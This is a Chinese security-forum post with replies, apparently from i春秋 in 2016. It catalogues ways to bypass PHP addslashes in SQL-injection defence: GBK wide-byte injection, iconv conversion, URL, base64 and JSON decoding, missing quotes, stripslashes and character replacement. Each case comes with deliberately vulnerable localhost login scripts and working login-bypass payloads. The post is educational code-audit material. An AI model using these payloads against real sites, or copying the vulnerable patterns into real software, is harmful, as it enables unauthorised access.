用户
搜索
  • TA的每日心情

    2016-6-1 17:15
  • 签到天数: 58 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋-白帽大神

    Rank: 8Rank: 8

    109

    主题

    4596

    帖子

    594

    魔法币
    收听
    39
    粉丝
    53
    注册时间
    2016-2-1

    幽默灌水王专家顾问团春秋巡逻积极活跃奖核心白帽白帽高手

    发表于 2016-8-29 13:38:37 186640


    作者:无敌情痴
    时间:2016年8月29日 10:16
    社区:i春秋


    前言

    最近坏蛋哥说我偷懒和传播负能量,为了证明我是个勤劳的孩子,一大早就来写文章了,在我看过的web系统中,很多系统对sql注入的防御都是对数字型的数据做intval和floatval,对于字符型使用addslashes+引号保护,今天这篇文章总结一下我在审代码中实际遇到的绕过姿势以及在一些前辈的漏洞分析中看到的绕过姿势,如果对sql注入还不够熟的朋友,可以看看I春秋zusheng的几篇关于sql注入的文章,写的很详细


    目录


    一:addslashes防御sql注入原理
    二:字符编码问题导致绕过
    • 2.1、设置数据库字符为gbk导致宽字节注入
    • 2.2、使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入
    三:编码解码导致的绕过
    • 3.1、url解码导致绕过addslashes
    • 3.2、base64解码导致绕过addslashes
    • 3.3、json编码导致绕过addslashes
    四:一些特殊情况导致的绕过
    • 4.1、没有使用引号保护字符串,直接无视addslashes
    • 4.2、使用了stripslashes
    • 4.3、字符替换导致的绕过addslashes


    正文

    一:addslashes防御sql注入原理
    1. <?php
    2. if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
    3. {
    4.         die();
    5. }
    6. $link=mysql_connect("localhost","root","root");
    7. mysql_select_db("test",$link);
    8. $username=$_REQUEST['username'];
    9. $password=md5($_REQUEST['password']);
    10. $sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
    11. $query=mysql_query($sql);
    12. $res=mysql_fetch_array($query);
    13. $count=$res['num'];
    14. if($count==1)
    15. {
    16.         echo "login success";
    17. }
    18. else
    19. {
    20.         echo "login failed";
    21. }
    22. ?>
    复制代码


    1. <html>
    2. <head>
    3. <title>I春秋</title>
    4. </head>
    5. <body>
    6. <form action="http://127.0.0.1/ichunqiu/login1.php" method="post">
    7. 账号<input type="text" name="username"></input><br/>
    8. 密码<input type="password" name="password"></input><br/>
    9. <input type="submit" value="登录"/>
    10. </form>
    11. </body>
    12. </html>

    复制代码

    上面是一段登录代码以及一个登录表单,正常情况下要输入正确的账号密码才可以登录

    1.png 2.png 3.png 4.png
    $sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
    不过由于username是可控的,并且没有经过任何过滤,所以可以利用这个来绕过密码检测
    密码随便输入,账号输入admin'#
    懂sql的朋友应该知道是什么情况了
    这样执行的语句就是select count(*) as num from admin where name=admin 了,这样就绕过了密码检测了
    5.png 6.png
    下面使用addslashes来防御(addslashes函数会把' " %00 \ 这些字符前面加上一个\来转义他们)
    把上面的代码改改
    1. <?php
    2. if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
    3. {
    4.         die();
    5. }
    6. $link=mysql_connect("localhost","root","root");
    7. mysql_select_db("test",$link);
    8. $username=$_REQUEST['username'];
    9. $password=md5($_REQUEST['password']);
    10. $sql="select count(*) as num from admin where name='".addslashes($username)."' and pass='".$password."'";
    11. $query=mysql_query($sql);
    12. $res=mysql_fetch_array($query);
    13. $count=$res['num'];
    14. if($count==1)
    15. {
    16.         echo "login success";
    17. }
    18. else
    19. {
    20.         echo "login failed";
    21. }
    22. ?>
    复制代码



    然后我们再试试
    7.png
    发现已经登录不了了
    我们查看一下数据库执行的语句
                       11 Init DB        test
                       11 Query        select count(*) as num from admin where name='admin\'#' and pass='d58e3582afa99040e27b92b13c8f2280'
                       11 Quit        

    'admin\'
    可以看到'被转义\'这样就逃不出引号了

    二:字符编码问题导致绕过


    2.1、设置数据库字符为gbk导致宽字节注入
    1. <?php
    2. if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
    3. {
    4.         die();
    5. }
    6. $link=mysql_connect("localhost","root","root");
    7. mysql_query("SET NAMES 'gbk'");
    8. mysql_select_db("test",$link);
    9. $username=$_REQUEST['username'];
    10. $password=md5($_REQUEST['password']);
    11. $sql="select count(*) as num from admin where name='".addslashes($username)."' and pass='".$password."'";
    12. $query=mysql_query($sql);
    13. $res=mysql_fetch_array($query);
    14. $count=$res['num'];
    15. if($count==1)
    16. {
    17.         echo "login success";
    18. }
    19. else
    20. {
    21.         echo "login failed";
    22. }
    23. ?>

    复制代码



    http://127.0.0.1/ichunqiu/login1 ... 3&password=test
    8.png
    username=admin%df%27or%201=1%23&password=test
    这里账号输入admin%df%27or%201=1%23
    密码输入test
    这样却登录成功了,这是因为宽字节问题,这是因为 %df和\(%5c)合成了一个导致后面'没有被转义,闭合成功,逃出引号,成功注入
    这里借P牛的一段话(这就是mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来。)
    2.2、使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入
    在使用iconv和mb_convert_encoding进行字符编码转换的时候同样会造成宽字节注入
    我们先试试utf-8转gbk,转码函数不管是iconv或者mb_convert_encoding都会造成宽字节注入
    1. <?php
    2. if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
    3. {
    4.         die();
    5. }
    6. $link=mysql_connect("localhost","root","root");
    7. mysql_query("SET NAMES 'gbk'");
    8. mysql_select_db("test",$link);
    9. $username=$_REQUEST['username'];
    10. $username=iconv('utf-8','gbk',$username);
    11. $password=md5($_REQUEST['password']);
    12. $sql="select count(*) as num from admin where name='".addslashes($username)."' and pass='".$password."'";
    13. $query=mysql_query($sql);
    14. $res=mysql_fetch_array($query);
    15. $count=$res['num'];
    16. if($count==1)
    17. {
    18.         echo "login success";
    19. }
    20. else
    21. {
    22.         echo "login failed";
    23. }
    24. ?>

    复制代码

    http://127.0.0.1/ichunqiu/login1.php?username=admin%df%27or%201=1%23&password=test
    访问测试,登录成功,可以注入

    同样是因为因为 %df和\(%5c)合成了一个運 导致后面'没有被转义,闭合成功,逃出引号,成功注入
    再试试gbk转utf-8

    1. <?php
    2. if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
    3. {
    4.         die();
    5. }
    6. $link=mysql_connect("localhost","root","root");
    7. mysql_query("SET NAMES 'gbk'");
    8. mysql_select_db("test",$link);
    9. $username=$_REQUEST['username'];
    10. $username=iconv('gbk','utf-8',$username);
    11. $password=md5($_REQUEST['password']);
    12. $sql="select count(*) as num from admin where name='".addslashes($username)."' and pass='".$password."'";
    13. $query=mysql_query($sql);
    14. $res=mysql_fetch_array($query);
    15. $count=$res['num'];
    16. if($count==1)
    17. {
    18.         echo "login success";
    19. }
    20. else
    21. {
    22.         echo "login failed";
    23. }
    24. ?>


    复制代码



    http://127.0.0.1/ichunqiu/login1.php?username=admin錦%27or%201=1%23&password=test
    访问测试,发现成功了
    借一下P牛对这个的解释
    (錦”这个字,它的utf-8编码是0xe98ca6,它的gbk编码是0xe55c当我们的錦被iconv从utf-8转换成gbk后,变成了%e5%5c,而后面的’被addslashes变成了%5c%27,这样组合起来就是%e5%5c%5c%27,两个%5c就是\\,正好把反斜杠转义了,导致’逃逸出单引号,产生注入。)
    9.png


    三:编码解码导致的绕过

    下面几种情况差不多,都是因为字符串在带入查询前,被做了一些编码解码操作没有再做一次过滤,导致绕过了addslashes的过滤(其实可以绕过各种防注入,不仅仅是addslashes),这种案例我在审代码的过程中还是遇过一些的
    3.1、url解码导致绕过addslashes
    1. <?php
    2. if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
    3. {
    4.         die();
    5. }
    6. $link=mysql_connect("localhost","root","root");
    7. mysql_query("SET NAMES 'gbk'");
    8. mysql_select_db("test",$link);
    9. $username=$_REQUEST['username'];
    10. [color=#000]$username=addslashes($username);[/size][/color]
    11. $username=urldecode($username);
    12. $password=md5($_REQUEST['password']);
    13. $sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
    14. $query=mysql_query($sql);
    15. $res=mysql_fetch_array($query);
    16. $count=$res['num'];
    17. if($count==1)
    18. {
    19.         echo "login success";
    20. }
    21. else
    22. {
    23.         echo "login failed";
    24. }
    25. ?>
    复制代码


    http://127.0.0.1/ichunqiu/login1.php?username=%2561%2564%256d%2569%256e%2527%2520%2523&password=test
    访问后发现登录成功了
    10 (1).png
    %2561%2564%256d%2569%256e%2527%2520%2523
    是做了两次编码的admin' #,之所以要做两次编码是因为web服务器会自动对从$_GET过来的数据解码一次,要编码两次
    $username=addslashes($username);
    $username=urldecode($username);

    虽然在做了addslashes来转义引号,但是下面一行代码用了urldecode来对$username做解码,所以可以利用url编码来绕过过滤
    看看数据库执行记录,确实被解码了
    11.png
    3.2、base64解码导致绕过addslashes
    和url解码绕过差不多是一回事
    1. <?php
    2. if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
    3. {
    4.         die();
    5. }
    6. $link=mysql_connect("localhost","root","root");
    7. mysql_query("SET NAMES 'gbk'");
    8. mysql_select_db("test",$link);
    9. $username=$_REQUEST['username'];
    10. [color=#000][size=2]$username=addslashes($username);[/size][/color]
    11. $username=base64_decode($username);
    12. $password=md5($_REQUEST['password']);
    13. $sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
    14. $query=mysql_query($sql);
    15. $res=mysql_fetch_array($query);
    16. $count=$res['num'];
    17. if($count==1)
    18. {
    19.         echo "login success";
    20. }
    21. else
    22. {
    23.         echo "login failed";
    24. }
    25. ?>

    复制代码



    $username=addslashes($username);
    $username=base64_decode($username);

    也是因为解码后没有在过滤,导致base64编码绕过
    http://127.0.0.1/ichunqiu/login1.php?username=YWRtaW4nICM=&password=test
    13.png 14.png
    登录成功
    看看数据库执行记录,确实被解码了
    15.png
    3.3、json编码导致绕过addslashes
    json编码绕过addslashes是因为json编码会把\转换为\\
    admin' # 被addslashes会变成admin\' # 引号被过滤了转移不了
    但是经过了json_encode后变成admin\\' #   引号成功逃了出来,可以注入了
    1. <?php
    2. $str=$_GET['str'];
    3. $str=addslashes($str);
    4. echo json_encode($str);
    5. ?>

    复制代码

    16.png

    1. <?php
    2. if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
    3. {
    4.         die();
    5. }
    6. $link=mysql_connect("localhost","root","root");
    7. mysql_query("SET NAMES 'gbk'");
    8. mysql_select_db("test",$link);
    9. $username=$_REQUEST['username'];
    10. [color=#000][size=2]$username=addslashes($username);[/size][/color]
    11. $username=json_encode($username);
    12. $password=md5($_REQUEST['password']);
    13. $sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
    14. $query=mysql_query($sql);
    15. $res=mysql_fetch_array($query);
    16. $count=$res['num'];
    17. if($count==1)
    18. {
    19.         echo "login success";
    20. }
    21. else
    22. {
    23.         echo "login failed";
    24. }
    25. ?>

    复制代码


    http://127.0.0.1/ichunqiu/login1.php?username=admin%27%20or%201=1%20%23&password=test
    访问后发现登录成功
    17.png
    查看数据库执行记录可以看到\被转换为\\
    18.png

    四:一些特殊情况导致的绕过
    4.1、没有使用引号保护字符串,直接无视addslashes
    这种情况的案例不少,虽然做了addslashes但是没有引号保护导致直接注入 20.png 19.png
    19.png
    4.2、使用了stripslashes
    这种案例我只在乌云看过一次,程序明明在开头对所有变量做了$_GET,$_POST,$_COOKIE 偏偏出来了一个牛逼哄哄的程序员,在数据带入查询之前做了stripslashes,去掉了转义,直接注入
    4.3、字符替换导致的绕过addslashes

    这种情况也看过一些案例,程序在带入程序之前把字符串的某些字符做了替换,而替换的字符中出现了一些\ ' 导致了注入的绕过,比如下面这样

    1. <?php
    2. if(is_null($_REQUEST['username']) || is_null($_REQUEST['password']))
    3. {
    4.         die();
    5. }
    6. $link=mysql_connect("localhost","root","root");
    7. mysql_query("SET NAMES 'gbk'");
    8. mysql_select_db("test",$link);
    9. $username=$_REQUEST['username'];
    10. $username=addslashes($username);
    11. $username=str_replace(array("\\","/"," "),array("","",""),$username);
    12. $password=md5($_REQUEST['password']);
    13. $sql="select count(*) as num from admin where name='".$username."' and pass='".$password."'";
    14. $query=mysql_query($sql);
    15. $res=mysql_fetch_array($query);
    16. $count=$res['num'];
    17. if($count==1)
    18. {
    19.         echo "login success";
    20. }
    21. else
    22. {
    23.         echo "login failed";
    24. }
    25. ?>

    复制代码

    http://127.0.0.1/ichunqiu/login1.php?username=admin%27%20%23&password=test

    访问,发现登录成功,这里之所以可以绕过addslashes是因为前面做了$username=str_replace(array("\\","/"," "),array("","",""),$username); 把addslashes后的\' 变成了',闭合成功,逃出引号注入


    结语
    上面的内容基本是我见过的遇过的所有绕过addslashes的方式了,当然肯定不止这些,要看具体的代码,各种各样的操作可能会导致各种姿势的绕过过滤,本人是个菜逼学艺不精,文章难免有不足之处,希望大家多多指正。最后也谢谢泉哥的点评,泉哥辛苦了。(PS:猜猜我这文章格式是抄袭I春秋的那个大牛的)




    15.png

    评分

    参与人数 1价值分 +11 收起 理由
    zusheng + 11 价值分奖励

    查看全部评分

    本帖被以下淘专辑推荐:

    I春秋首席单身狗
    发表于 2016-9-14 16:53:04
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!



    基本项加分项


    作者帖子标题内容要求内容稀缺性文章篇幅文章深度文章可读性是否系列文章排版优化总分奖金点评
    情痴代码审计之绕过addslashes总结22232001140RMB很基础的文章,讲的比较详细,很好,下次注意SQL语句和URL也使用论坛的插入代码功能插入


    Hacking the earth
    使用道具 举报 回复
    yyyxy 管理员 六国战旗移动展示平台! 秦 楚 燕 魏 齐 赵
    沙发
    发表于 2016-8-29 13:40:30
    攻占沙发
    使用道具 举报 回复
    阿甫哥哥 超级版主 i春秋最帅男神-阿甫大哥哥 楚 核心白帽 签约作者
    板凳
    发表于 2016-8-29 13:48:59
    这绝对是黑客
    Time will give me the answer
    使用道具 举报 回复
    发表于 2016-8-29 13:52:58
    我欲将心向明月,奈何明月照沟渠。
                      天人照我本和兴,只是难易风化岩。
    使用道具 举报 回复
    发表于 2016-8-29 15:01:36

    给我5000000000000rmb,教你黑客技术,收完钱,秒拉黑
    I春秋首席单身狗
    使用道具 举报 回复
    发表于 2016-8-29 15:13:39
    hhhhhhhhhhhhhhhhhh
    使用道具 举报 回复
    发表于 2016-8-29 17:08:05
    越来越6了。
    苟非吾之所有,虽一毫而莫取
    使用道具 举报 回复
    6
    使用道具 举报 回复
    发表于 2016-8-29 20:09:38
    版主, 查看数据库执行 语句那里 要用什么软件 查看 ????
    使用道具 举报 回复
    发表于 2016-8-29 22:59:14
    maxcrave 发表于 2016-8-29 12:09
    版主, 查看数据库执行 语句那里 要用什么软件 查看 ????

    seay代码审计工具有这个插件 或者开启mysql的日志功能 设置mysql的配置文件里面的一个log字段,具体你可以百度一下
    I春秋首席单身狗
    使用道具 举报 回复
    发表于 2016-8-29 23:08:22
    不错  学了三招
    使用道具 举报 回复
    发表于 2016-8-30 10:12:20
    阔仪。绕过addslashes
    使用道具 举报 回复
    发表于 2016-8-30 15:05:27
    下来学习一下,谢谢分享
    使用道具 举报 回复
    发表于 2016-8-30 15:37:00
    大无畏的分享精神

    评分

    参与人数 1魔法币 -50 收起 理由
    yyyxy -50 禁止用脚本用马甲刷回复

    查看全部评分

    使用道具 举报 回复
    发表于 2016-8-30 16:08:33
    我得学一下。。。
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册